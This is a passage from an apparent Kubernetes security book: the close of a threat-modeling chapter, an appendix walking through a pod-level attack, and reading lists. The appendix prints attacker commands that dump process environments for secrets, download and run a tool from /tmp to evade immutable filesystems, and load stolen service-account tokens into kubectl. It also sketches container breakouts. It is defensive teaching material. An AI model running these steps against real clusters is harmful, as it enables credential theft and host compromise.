is intentionally a little lopsided. Of course, in any real-world situation, the monolith would also require a load balancer, for example, and there are many more moving parts. The point of the exercise is more of the following nature: Kubernetes provides a large number of resources and APIs, many more than most people can keep in their heads. It also comes with a number of required and optional (but almost always present) components both in the control and the data plane. Now, when you are using Kubernetes you can’t simply opt out and ignore all of this, even if you only need or are interested in a tiny subset. They still are present and offer our Captain a potential way to attack. So, take that figure with a grain of salt and simply be aware of the many moving parts, trying to consider as many as you can in your threat modeling.

Now look at the righthand side, the case of the app
running in the context of a containerized microservices setup in Kubernetes. This app
is now, together with, let’s assume, 15 other services, along the request path servicing the user. The app
runs in a pod (a Kubernetes abstraction), which is a collection of containers on the same node (with containers being a Linux/OCI abstraction), and only then comes the process (group) that runs the app
.

There’s also the kubelet
running on the worker node that represents the local Kubernetes supervisor using the CRI
to communicate to the container runtime what to do (start, stop, etc.) as we discussed in Chapter 2
. But it doesn’t stop there: there’s also the connection with the Kubernetes control plane, with the container registry (not shown in the figure, to keep it simple), the CNI plug-ins, etc.

The complexity introduced with using Kubernetes yields a

threat model explosion (TME). There are multiple issues:

1. Whose responsibility is the end-to-end security? Likely, dev and ops will have to work closely together to keep everything secure.

2. The abstractions make it hard to realize what’s going on (in case of an incident), and to make sure everything is tested and monitored.

3. Simply put, the many levels of abstractions offer a larger attack surface compared to the monolith.

Number 1 above is partially the driver for the DevSecOps movement and serves as a motivation. Numbers 2 and 3 are what we are concerned with and want to provide some suggestions for.

So what are the concrete things you can do to tackle the TME? Consider adopting the following good practices:

- Provide 360-visibility; that is, measure, and don’t just assume. Every component in Kubernetes should be monitored and sensible alerts configured. In “How SLOs Can Put Additional Pressure on You”
we will drill deeper into this topic.

- Use downtimes or periods of low traffic to do hands-on training and do fire drills. This helps build up the muscle memory and makes folks more comfortable to escalate and do the right steps (contain, observe, capture) when under attack.

- Automate, automate, automate. No matter whether we’re talking observability or escalation path: all essential processes should be automated with the option for humans to interfere manually where necessary.

With this, we move on to another operational topic: how much downtime is allowed and what are the security

implications?

How SLOs Can Put Additional Pressure on You

From a site reliability engineering (SRE)

perspective, service-level objectives (SLOs) are a great tool to quantify the tolerated user expectations concerning downtimes. Establishing SLOs can be tough (see “Implementing SLOs”
for reference), but in our security context let’s look at a different question: how can an attacker misuse SLOs to get inside or exfiltrate information?

Things you want to consider in the context of SLOs are as follows:

- To measure if and to what extent the SLOs have been fulfilled you usually define a number of service-level indicators (SLIs). These measurements can be attacked and used to fake an SLO violation, tricking you into believing something that is, in fact, not true. Whenever we are faced with a stressful situation we potentially make mistakes; think of it as the equivalent of a human-centered DoS.

- Usually, escalation takes place via notification channels such as pages, text messages, and emails. Popular services such as PagerDuty can, if not properly configured or used, leak sensitive information.

While the uptake of SLOs/SLIs is not yet that huge, the preceding point is something you may want to consider when introducing SRE or DevOps in your organization. In early 2021, an initiative called OpenSLO
started to standardize the formal representation of SLOs, so there’s a fair to good chance that by the time you read this, you can benefit from the fruits of this effort.

We’ll now move on to attacks that do not focus on technical roles: social engineering.

Social Engineering

The security
economics—for reference, the MIT OpenCourseWare course with the same name available via 6.858 Computer Systems Security
—oftentimes speak for targeting humans rather than software or hardware. As we already hinted at in “The Weakest Link”
, humans are usually the weakest link in the defense chain. Additionally, attackers can benefit from the fact that they only need to find one weakness in the overall setup (for example, one unmotivated or careless
human) compared to the Blue Team that has to defend against all attacks and has to motivate and nudge all members of an organization to comply and play their part.

In the context of social engineering, the reconnaissance phase of the attack—present in all major attack models; see Figure 10-3
—is particularly interesting. There is as of time of writing not enough research and collective experience in the practitioners community to provide authoritative recommendations for Kubernetes environments. However, Wojciech Mazurczyk and Luca Caviglione’s March 2021 Communications of the ACM (CACM) article “Cyber Reconnaissance Techniques”
provides an excellent starting point for your own work to secure the human aspect of the perimeter.

Figure 10-3.
Cyber attack phases models (source: “Cyber Reconnaissance Techniques”
)

Social engineering works particularly well in large and hierachical organizations. As disempowered individuals, potentially feeling like a cog in the machine and on top of that maybe a lack of ownership (“this is not my money at risk”), you are easy prey.

So what are common patterns and techniques to watch out for? How can you combat them?

Appeal to authority

You get an email from your skip-level manager saying that, due to a recently discovered CVE, your application needs to be patched. Click the following link to kick off a Helm upgrade in the CD pipeline. Boom!

Mitigation: You want to flag external senders, for example, with an EXTERNAL
in the subject line, ask your team members to regularly do trainings and fire drills, and audit everything.

Urgency

We repeatedly pointed out that under pressure, when the clock is ticking, the risk for making mistakes increases dramatically. A popular social engineering attack uses some urgency (launch, customer complaints, etc.) to trick you into sharing credentials or applying changes to the cluster (“please merge this PR quickly to address X”).

Mitigation: When under pressure, slow down. Pair up and speak out loud, double check and verify before applying any change.

Indirect

As discussed in detail in Chapter 4
, supply chains are prone to being poisoned and malware can be ingested in a less-secure environment and activated in the target environment.

Mitigation: Make sure to have a proactive approach re: supply chain management and at the very least scan all the items entering your perimeter. For example, static container image scanning is tablestakes now.

These shouldn’t scare you, just make you aware. Let’s move on to some regulatory challenges
now.

Privacy and Regulatory Concerns

Many enterprises,

in order to do business in certain legislatures, need to be compliant with certain regulations. This can be general-purpose regulations that are valid and enforceable in a certain geo, such as the General Data Protection Regulation (GDPR) in the EU, or pertaining to vertical-specific concerns such as PCI-DSS or Sarbanes–Oxley. No matter if the intention of the regulation is to enforce end-user privacy, protect investments, or increase accountability, you want to make sure you are familiar with the requirements and find ways to implement these policies and controls as required (see Chapter 8
for some technology-related recommendations). In any case, make sure to involve legal personnel; we ain’t no lawyers and that’s why we don’t provide any directions beyond the technical ones, in this context.

Conclusion

In this chapter we tried to highlight the fact that technology often is the “easy” part and the weakest link, as so often in a security context, is the human. Different environments such as cloud or on-prem offer different trade-offs. There is no right or wrong, just an awareness of where your priorities are and what you want to own yourself and which parts you want to offload.

We also have reached the end of the book, but unfortunately not of the Captain and their crew! We nevertheless hope this was useful food for thought for you and wish you the best of luck and success in implementing a secure and sustainable way to use and benefit from Kubernetes.

Appendix A.
A Pod-Level Attack

This appendix is a hands-on exploration of attacks on the pod level, as we discussed in Chapter 2
.

Dread cyberpirate Captain Hashjack can now execute code inside a pod remotely and they will start to explore its configuration to see what else can be accessed.

Like all good pirates, Captain Hashjack has a treasure map, but this is no ordinary map with a clearly defined destination. Instead, this map describes only the journey, with no guarantee of reaching a conclusion. It’s a cluster attack map, as shown in Figure A-1
, and it is used to guide us through the rest of the appendix. And now, from inside the pod, it’s time to explore.

Tip

Securing any system is difficult. The best way to find vulnerabilities and misconfiguration is to methodically observe your environment, build up a library of your own attacks and patterns, and not give up!

Figure A-1.
Pod attack map

Filesystem

Upon
entering a new environment, a little basic checking may lead to useful discoveries. The first thing Hashjack does is check to see what kind of
container they’re in. Checking /proc/self/cgroup
often gives
a clue, and here they can see they’re in Kubernetes from the clue /kubepods/besteffort/pod8a6fa26b-...
:

adversary@hashjack-5ddf66bb7b-9sssx:/$

cat /proc/self/cgroup
11:memory:/kubepods/besteffort/pod8a6fa26b-.../f3d7b09d9c3a1ab10cf88b3956...
10:cpu,cpuacct:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b...
9:blkio:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b3956704...
8:net_cls,net_prio:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10c...
7:perf_event:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39...
6:freezer:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567...
5:pids:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567048...
4:cpuset:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b395670...
3:hugetlb:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567...
2:devices:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567...
1:name=

systemd:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b...

Next, they might check for
capabilities with their process’s status
entry in /proc/self/status
:

Name: cat
State: R (running)
Tgid: 278
Ngid: 0
Pid: 278
PPid: 259
TracerPid: 0
Uid: 1001 1001 1001 1001
Gid: 0 0 0 0
FDSize: 256
Groups:
NStgid: 278
NSpid: 278
NSpgid: 278
NSsid: 259
VmPeak: 2432 kB
VmSize: 2432 kB
VmLck: 0 kB
VmPin: 0 kB
VmHWM: 752 kB
VmRSS: 752 kB
VmData: 312 kB
VmStk: 132 kB
VmExe: 28 kB
VmLib: 1424 kB
VmPTE: 24 kB
VmPMD: 12 kB
VmSwap: 0 kB
HugetlbPages: 0 kB
Threads: 1
SigQ: 0/15738
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000000000
CapInh: 00000000a80425fb
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
Seccomp: 0
Speculation_Store_Bypass: vulnerable
Cpus_allowed: 0003
Cpus_allowed_list: 0-1
Mems_allowed: 00000000,00000001
Mems_allowed_list: 0
voluntary_ctxt_switches: 0
nonvoluntary_ctxt_switches: 1

The kernel freely provides this information in order to help Linux applications, and an attacker in a container can use it to their advantage. Interesting entries can be grepped out (notice we’re root below):

root@hack:~ [

0]

$

grep -E \

'(Uid|CoreDumping|Seccomp|NoNewPrivs|Cap[A-Za-z]+):'

/proc/self/status
Uid: 0

0

0

0
CoreDumping: 0
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
NoNewPrivs: 0
Seccomp: 0

The capabilities are not very readable, and need to be decoded:

root@hack:~ [

0]

$

capsh --decode=

0000003fffffffff
0x0000003fffffffff

=

cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,
cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,
cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,
cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,
cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,
cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,
cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,
cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

You can also use the capsh --print
command to show capabilities (if it’s installed), getpcaps
and filecap
(for a single process or file, respectively), pscap
(for all running processes), and captest
(for the current process’s context):

root@hack:~ [

0]

$

capsh --print
Current: =

cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,
cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,
cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set

=

cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,
cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,
cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Ambient set

=

Securebits: 00/0x0/1'

b0
secure-noroot: no (

unlocked)

secure-no-suid-fixup: no (

unlocked)

secure-keep-caps: no (

unlocked)

secure-no-ambient-raise: no (

unlocked)

uid

=

0(

root)

gid

=

0(

root)

groups

=

1(

bin)

,2(

daemon)

,3(

sys)

,4(

adm)

,6(

disk)

,10(

wheel)

,11(

floppy)

...

Tip

A production container
should never contain these debugging commands, instead only containing production applications and code. Using static, slim, or distroless
containers reduces the attack surface of a container by limiting an attacker’s access to useful information. This is also why you should limit the availability of network-capable applications like curl
and wget
where possible, as well as any interpreters with network libraries that can be used to pull external tools into a running container.

You may prefer to run Jess Frazelle’s amicontained
, which runs
these checks quickly
and also handily detects capability, seccomp, and LSM configuration.

Tip

This command requires internet access, which is another privilege that production workloads should not be afforded unless required for production operation. Air-gapped (fully offline) clusters

afford greater security from this type of attack at the cost of administrative overhead.

Let’s use amicontained
:

root@hack:~

[

0

]

$

export

AMICONTAINED_SHA256

=

"d8c49e2cf44ee9668219acd092e\
d961fc1aa420a6e036e0822d7a31033776c9f"

root@hack:~

[

0

]

$

curl

-fSL

\

"https://github.com/genuinetools/amicontained/releases/download/v0.4.9/\
amicontained-linux-amd64"

\

-o

"/tmp/amicontained"

\

&&

echo

"

${

AMICONTAINED_SHA256

}

/tmp/amicontained

"

|

sha256sum

-c

-

\

&&

chmod

a+x

"/tmp/amicontained"

root@hack:~

[

0

]

$

/tmp/amicontained

Container

Runtime:

kube

Has

Namespaces:

pid:

true

user:

false

AppArmor

Profile:

docker-default

(

enforce

)

Capabilities:

BOUNDING

->

chown

dac_override

fowner

fsetid

kill

setgid

setuid

setpcap

net_bind_service

net_raw

sys_chroot

mknod

audit_write

setfcap

Seccomp:

disabled

Blocked

system

calls

(

26

)

:

SYSLOG

SETUID

SETSID

SETREUID

SETGROUPS

SETRESUID

VHANGUP

PIVOT_ROOT

ACCT

SETTIMEOFDAY

UMOUNT2

SWAPON

SWAPOFF

REBOOT

SETHOSTNAME

SETDOMAINNAME

INIT_MODULE

DELETE_MODULE

LOOKUP_DCOOKIE

KEXEC_LOAD

FUTIMESAT

UTIMENSAT

FANOTIFY_INIT

OPEN_BY_HANDLE_AT

FINIT_MODULE

KEXEC_FILE_LOAD

Looking

for

Docker.sock

Export the sha256sum for verification.

Download and check the sha256sum.

We installed to a non-standard path to evade immutable filesystems, so we run a fully-qualified path

Jackpot! There’s a lot of information available about the security configuration of a container—from within it.

We can check our cgroup
limits on the filesystem too:

root@hack:~ [

0]

$

free -m
total used free shared buff/cache available
Mem: 3950

334

1473

6

2142

3327
Swap: 0

0

0

free -m
uses host-level APIs available to all processes and has not been updated to run with cgroups
. Check the system API to see the process’s actual cgroup
limits:

root@host:~ [

0]

$

docker run -it --memory=

4MB sublimino/hack \

cat /sys/fs/cgroup/memory/memory.limit_in_bytes
4194304

Is this tremendously useful to an attacker? Not really. Exhausting the memory of a process and causing

denial of service is a basic attack (although fork bombs
are elegantly scripted Bash poetry). Nevertheless, you should set cgroups
to prevent DoS of applications in a container or pod (which support individual configuration). Cgroups are not a security boundary, and cgroups v1 can be escaped from a privileged pod, as nicely demonstrated in Figure A-2
.

Figure A-2.
Felix Wilhelm’s cleverly tweet-sized cgroups v1
container breakout

Tip

The more secure, and rootless-prerequisite, cgroups v2
should
be the default in most Linux installations from 2022
.

Denial of service is more likely to be an application fault than an attack—serious DDoS (internet-based distributed denial of service) should be handled by networking equipment in front of the cluster for bandwidth and mitigation.

Note

In September of 2017 Google fought off a 2.54 Tbps DDoS
. This type of traffic is dropped by network router hardware at Ingress to prevent overwhelming internal systems.

Kubernetes sets some useful environment variables

into each container in a pod:

root@frontened:/frontend [

0]

$

env |

grep -E '(KUBERNETES|[^_]SERVICE)_PORT='

|

sort
ADSERVICE_PORT

=

tcp://10.3.253.186:9555
CARTSERVICE_PORT

=

tcp://10.3.251.123:7070
CHECKOUTSERVICE_PORT

=

tcp://10.3.240.26:5050
CURRENCYSERVICE_PORT

=

tcp://10.3.240.14:7000
EMAILSERVICE_PORT

=

tcp://10.3.242.14:5000
KUBERNETES_PORT

=

tcp://10.3.240.1:443
PAYMENTSERVICE_PORT

=

tcp://10.3.248.231:50051
PRODUCTCATALOGSERVICE_PORT

=

tcp://10.3.250.74:3550
RECOMMENDATIONSERVICE_PORT

=

tcp://10.3.254.65:8080
SHIPPINGSERVICE_PORT

=

tcp://10.3.242.42:50051

It is easy for an application to read its
configuration from environment variables, and the 12 Factor App
suggests that config and Secrets should be set in the environment. Environment variables are not a safe place to store Secrets as they can be read easily from the PID namespace by a process, user, or malicious code.

Tip

You can see a process’s environment as root, or the same user. Check PID 1 with a null-byte translation:

root@frontened:/frontend [

0]

$

tr '\0'

'\n'

< /proc/1/environ
HOSTNAME

=

9c7e824ed321
PWD

=

/
# ...

Even if no compromise takes place, many applications dump their environment when they crash, leaking Secrets to anyone who can access the logging system.

Kubernetes Secrets should not be mounted as
environment variables.

Note

As well as being easy to collect from a parent process if an attacker has remote code execution, Kubernetes container environment variables are not updated after container creation: if the Secret is updated by the API server, the environment variable keeps the same value.

The safer option is to use a well-known path, and
mount a Secret tmpfs
volume into the container, so an adversary has to guess or find the Secret file path, which is less likely to be automated by an attacker. Mounted Secrets are updated automatically, after a kubelet
sync period and cache propagation delay.

Here’s an example of a Secret mounted into the path /etc/foo
:

apiVersion

:

v1

kind

:

Pod

metadata

:

name

:

mypod

spec

:

containers

:

-

name

:

mypod

image

:

redis

volumeMounts

:

-

name

:

foo

mountPath

:

"/etc/foo"

readOnly

:

true

volumes

:

-

name

:

foo

secret

:

secretName

:

mysecret

Mounting Secrets as files protects against information leakage and ensures adversaries like Captain Hashjack don’t stumble across production secrets when diving through stolen application logs.

tmpfs

A fastidious explorer leaves no sea uncharted, and to Captain Hashjack attacking the filesystem
is no different. Checking for anything external added to the mount namespace is the first port of call, for which common tools like mount
and df
can be used.

Tip

Every external device, filesystem, socket, or entity shared into a container increases a risk of
container breakout through exploit or misconfiguration. Containers are at their most secure when they contain only the bare essentials for operation, and share nothing with each other or the underlying host.

Let’s start with a search of the filesystem
mount points for a common container filesystem driver, overlayfs
. This may leak information about the type of container runtime that has configured the filesystem:

root@test-db-client-pod:~ [

0]

$

mount |

grep overlay
overlay on / type

overlay (

rw,relatime,
lowerdir

=

/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/316/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/315/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/314/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/313/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/312/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/311/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/310/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/309/fs:
/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/308/fs,
upperdir

=

/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/332/fs,
workdir

=

/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/332/work)

We can see that the underlying container runtime is using a file path containing the name containerd
, and the location of the container’s filesystem on the host disk is /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/316/fs
. There are multiple layered directories listed, and these are combined into a single filesystem at runtime by overlayfs
.

These paths are fingerprints of the container runtime’s default configuration, and runc
leaks its identity in the same way, with a different filesystem layout:

root@dbe6633a6c94:/# mount |

grep overlay
overlay on / type

overlay (

rw,relatime,lowerdir=

/var/lib/docker/overlay2/l/3PTJCBKLNC2V5MRAEF3AU6EDMS:
/var/lib/docker/overlay2/l/SAJGPHO7UFXGYFRMGNJPUOXSQ5:
/var/lib/docker/overlay2/l/4CZQ74RFDNSDSHQB6CTY6CLW7H,
upperdir

=

/var/lib/docker/overlay2/aed7645f42335835a83f25ae7ab00b98595532224...163/diff,
workdir

=

/var/lib/docker/overlay2/aed7645f42335835a83f25ae7ab00b98595532224...163/work)

Run the df
command to see if there are any Secrets mounted into the container. In this example no external entities are mounted into the container:

root@test-db-client-pod:~ [

0]

$

df
Filesystem Type Size Used Avail Use% Mounted on
overlay overlay 95G 6.6G 88G 7% /
tmpfs tmpfs 64M 0

64M 0% /dev
tmpfs tmpfs 7.1G 0

7.1G 0% /sys/fs/cgroup
/dev/sda1 ext4 95G 6.6G 88G 7% /etc/hosts
shm tmpfs 64M 0

64M 0% /dev/shm
tmpfs tmpfs 7.1G 0

7.1G 0% /proc/acpi
tmpfs tmpfs 7.1G 0

7.1G 0% /proc/scsi
tmpfs tmpfs 7.1G 0

7.1G 0% /sys/firmware

We can see that tmpfs
is used
for many different mounts, and some mounts are masking host filesystems in /proc
and /sys
. The container runtime performs additional masking on the special files in those directories.

Potentially interesting mounts in a vulnerable container filesytem may contain host mounted Secrets and sockets, especially the infamous Docker socket, and Kubernetes service accounts that may have RBAC authorization to escalate privilege, or enable further attacks:

root@test-db-client-pod:~ [

0]

$

df
Filesystem Type ... Use% Mounted on
tmpfs tmpfs ... 1% /etc/secret-volume
tmpfs tmpfs ... 1% /run/docker.sock
tmpfs tmpfs ... 1% /run/secrets/kubernetes.io/serviceaccount

The easiest and most convenient of all
container breakouts is the /var/run/docker.sock
mount points: the container runtime’s socket from the host, that gives access to the Docker daemon running on the host. If those new containers are privileged, they can be used to trivially “escape” the container namespace and access the underlying host as root, as we saw previously in this chapter.

Other appealing targets include the Kubernetes service account tokens under /var/run/secrets/kubernetes.io/serviceaccount
, or writable host mounted directories like /etc/secret-volume
. Any of these could lead to a breakout, or assist a pivot.

Everything a kubelet
mounts into its containers is visible to the root user on the kubelet
’s host. We’ll see what the serviceAccount
mounted at /run/secrets/kubernetes.io/serviceaccount
looks like later, and we investigated what to do with stolen serviceAccount
credentials in Chapter 8
.

From within a pod kubectl
uses the credentials in /run/secrets/kubernetes.io/serviceaccount
by default. From the kubelet
host these files are mounted under /var/lib/kubelet/pods/123e4567-e89b-12d3-a456-426614174000/volumes/kubernetes.io~secret/my-pod-token-7vzn2
, so load the following command into a Bash shell:

kubectl-sa-dir ()

{

local

DIR

=

"

${

1

:-

}

"

;

local

API_SERVER

=

"

${

2

:-

kubernetes

.default

}

"

;

kubectl config set

-cluster tmpk8s --server=

"https://

${

API_SERVER

}

"

\

--certificate-authority=

"

${

DIR

}

/ca.crt"

;

kubectl config set

-context tmpk8s --cluster=

tmpk8s;

kubectl config set

-credentials tmpk8s --token=

"

$(

<${

DIR

}

/token)

"

;

kubectl config set

-context tmpk8s --user=

tmpk8s;

kubectl config use-context tmpk8s;

kubectl get secrets -n null 2>&

1

|

sed -E 's,.*r "([^"]+).*,\1,g'

}

And run it against a directory:

root@kube-node-1:~ [0]# kubectl-sa-dir \
/var/lib/kubelet/pods/.../kubernetes.io~secret/priv-app-r4zkx/...229622223/
Cluster "tmpk8s" set.
Context "tmpk8s" created.
User "tmpk8s" set.
Context "tmpk8s" modified.
Switched to context "tmpk8s".
apiVersion: v1
clusters:
- cluster:
certificate-authority: \
/var/lib/kubelet/pods/.../kubernetes.io~secret/.../...229622223/ca.crt
server: https://10.0.1.1:6443
name: tmpk8s
# ...
system:serviceaccount:kube-system:priv-app

You’re now able to use the system:serviceaccount:kube-system:priv-app
service account (SA) more easily with kubectl
as it’s configured in your ~/.kube/config
. An attacker can do the same thing—hostile root access to Kubernetes nodes reveals all its Secrets!

Tip

CSI storage interfaces and host filesystem mounts both pose a security risk if others have access to them. We explore external storage, the Container Storage Interface (CSI), and other mounts in greater detail in the Chapter 6
.

What else is there mounted
that might catch an adversary’s treasure-hungry gaze? Let’s explore further.

Host Mounts

The Kubernetes hostPath
volume type mounts a

filesystem path from the host into the container, which may be useful for some applications. /var/log
is a popular mount point, so the host’s journal process collects container syslog events.

Warning

HostPath
volumes should be avoided when possible as they present many risks. Best practice is to scope to only the needed file or directory using the ReadOnly
mount flag.

Other use cases for hostPath
mounts include persistence for datastores in the pod or hosting static data, libraries, and caches.

Using host disks or permanently attaching storage to a node creates a coupling between workloads and the underlying node, as the workloads must be restarted on that node in order to function properly. This makes scaling and resilience much more difficult.

Host mounts can be dangerous if a
symlink is created inside the container that is unintentionally resolved on the host filesystem. This happened in CVE-2017–1002101, where a bug in the symbolic link–handling code allowed an adversary inside a container to explore the host mounted filesystem that the mount point was on.

Mounting of sockets from the host into the container is also a popular hostMount
use case, which allows a client inside the container to run commands against a server on the host. This is an easy path to container breakout by starting a new privileged container on the host and escaping.

Mounting sensitive directories or files from the host may also provide an opportunity to pivot if they can be used for network services.

hostPath
volumes are writeable on the host partition outside the container, and are always mounted on the host filesystem as owned by root:root
. For this reason, a nonroot user should always be used inside the container, and filesystem permissions should always be configured on the host if write access is needed inside the container.

Warning

If you are restricting hostPath
access to specific directories with admission controllers, those volumeMounts
must be readOnly
, otherwise new symlinks can be used to traverse the host filesystem.

Ultimately data is the lifeblood of your business, and managing state is hard. An attacker will be looking to gather, exfiltrate, and cryptolock any data they can find in your systems. Consuming an external service (such as an object store or database hosted outside your cluster) to persist data is often the most resilient and scalable way to secure a system—however, for high-bandwidth or low-latency applications this may be impossible.

For everything else, cloud provider or internal service integrations remove the link between a workload and the underlying host, which makes scaling, upgrades, and system deployments much

easier.

Tip

Managed services and dedicated infrastructure clusters are an easier cluster security abstraction to reason about, and we talk more about them in Chapter 7
.

Hostile Containers

A hostile container

is one that is under an attacker’s control. It may be created by an attacker with Kubernetes access (perhaps the kubelet
, or API server), or a container image with automated exploit code embedded (for example, a “trojanized” image from dockerscan
that can start a reverse shell in a legitimate container to give attackers access to your production systems), or have been accessed by a remote adversary post-deployment.

What about the filesystem of a hostile container image? If Captain Hashjack can force Kubernetes to run a container they have built or corrupted, they may try to attack the orchestrator or container, runtimes, or clients (such as kubectl
).

One attack (CVE-2019-16884
) involves

a container image that defines a VOLUME
over a directory AppArmor uses for configuration, essentially disabling it at container runtime:

mkdir -p rootfs/proc/self/{

attr,fd}

touch rootfs/proc/self/{

status,attr/exec}

touch rootfs/proc/self/fd/{

4,5}

This may be used as part of a further attack on the system, but as AppArmor is unlikely to be the only layer of defense, it is not as serious as it may appear.

Another dangerous container image is one used by a /proc/self/exe
breakout in CVE-2019-5736
. This exploit requires a container with a maliciously linked ENTRYPOINT
, so can’t be run in a container that has already started.

As these attacks show, unless a container is built from trusted components, it should be considered untrusted to defend against further unknown attacks

such as this.

Caution

A collection of kubectl cp
CVEs (CVE-2018-1002100
, CVE-2019-11249
) require a malicious tar binary inside the container. The vulnerability stems from kubectl
trusting the input it receives from the scp
and tar
process inside the container, which can be manipulated to overwrite files on the machine the kubectl
binary is being run on.

Runtime

The danger of the /proc/self/exe
breakout in CVE-2019-5736
is that a hostile container process can overwrite the runc
binary on the host. That runc
binary is owned by root, but as it

is also executed by root on the host (as most container runtimes need some root capabilities), it can be overwritten from inside the container in this attack. This is because the container process is a child of runc
, and this exploit uses the permission runc
has to overwrite itself.

Note

Protecting the host from privileged container processes is best achieved by removing root privileges from the container runtime. Both runc
and Podman can run in rootless mode, which we explore in Chapter 3
.

The root user has many special privileges as a result of years of kernel development that assumed only one “root” user. To limit the impact of RCE to the container, pod, and host, applications inside a container should not be run as root, and their capabilities should be dropped, without the ability to gain privileges by setting the allowPrivilegeEscalation
securityContext
field to false
(which sets the no_new_privs
flag on the container process).

Appendix B.
Resources

General

References

- The official Kubernetes documentation

- The Kubernetes community on GitHub

Books

- Container Security

by Liz Rice (O’Reilly)

- Kubernetes: Up and Running

by Kelsey Hightower, Brendan Burns, and Joe Beda (O’Reilly)

- Cloud Native DevOps with Kubernetes

by John Arundel and Justin Domingus (O’Reilly)

- Managing Kubernetes

by Brendan Burns and Craig Tracey (O’Reilly)

- Kubernetes Cookbook

by Sébastien Goasguen and Michael Hausenblas (O’Reilly)

- Cybersecurity Ops with bash

by Paul Troncone and Carl Albing (O’Reilly)

Further Reading by Chapter

Intro

For Chapter 1
we suggest the following resources:

- Threat Modeling Manifesto

- Open Source Intelligence Methods and Tools: A Practical Guide to Online Intelligence

by Nihad Hassan and Rami Hijazi (Apress)

- The Tao of Open Source Intelligence

by Stewart Bertram (IT Governance Publishing)

- “SANS SEC487: Open-Source Intelligence (OSINT) Gathering and Analysis”

Pods

For Chapter 2
we suggest the following resources:

- Awesome Kubernetes Security

- “My Arsenal of Cloud Native (Security) Tools”

- “5 Must-Have Kubernetes Security Tools”

- Kubernetes YAML Generator

- Google Cloud’s “Why Container Security Matters to Your Business”

- A comprehensive Kubernetes FAQ

- “Attacking Kubernetes Clusters Through Your Network Plumbing”

- Kubernetes Volumes Guide

Further, tooling relevant in this context:

- Cloud Container Attack Tool (CCAT)

- Peirates (Kubernetes penetration testing tool)

- Hunt for security weaknesses in Kubernetes clusters

- A container analysis and exploitation tool for pentesters and engineers

- Docker Enumeration, Escalation of Privileges and Container Escapes

- Ed is a tool used to identify and exploit accessible UNIX Domain Sockets

- RedNix: Hackable NixOS container

Supply Chains

For Chapter 4
we suggest the following resources:

- “Vulnerabilities in the Core Preliminary Report and Census II of Open Source Software”

- CII Best Practices Badge Program

- SPDX specifications

- OWASP Dependency Track

- A Go implementation of in-toto with certificate constraint support

- “Supply Chain Security By Verification - Mitigating Supply Chain Attacks”

- “Security Considerations for Code Signing”

- NCSC’s “Supply chain security guidance”

- MITRE’s “Supply Chain Attack Framework and Attack Patterns”

- Microsoft Supply Chain Integrity Model (SCIM)

Further, tooling relevant in this context:

- OWASP Packman

- Security Scorecards

- Open Source Project Criticality Score (Beta)

- OSS Review Toolkit (ORT)

- Google Binary Authorization/SLSA

- syft: generate Software Bill of Materials (SBOM) from container images

- Rekor

- Ploigos Software Factory Operator

- in-toto: A framework to secure the integrity of software supply chains

- sigstore

Networking

For Chapter 5
we suggest the following resources:

- “Securing Your Apps in Kubernetes with NGINX App Protect”

- “Kubernetes Ingress with AWS ALB Ingress Controller”

- “Exploring Network Policies in Kubernetes”

- “Best Practices for Kubernetes Network Policies”

- “Securing Kubernetes Cluster Networking”

- NIST Special Publication 800-204A: “Building Secure Microservices-based Applications Using Service-Mesh Architecture”

- “How to Secure Containers in a Service Mesh such as Istio and Linkerd2”

- “Istio Security: Running Microservices on Zero-Trust Networks”

- App Mesh TLS

Further, tooling relevant in this context:

- CNCF Falco

- Sysdig Secure

- NeuVector

- Snyk Container

- Prisma Cloud

- StackRox

- Aqua Security

- AccuKnox

Policy

For Chapter 8
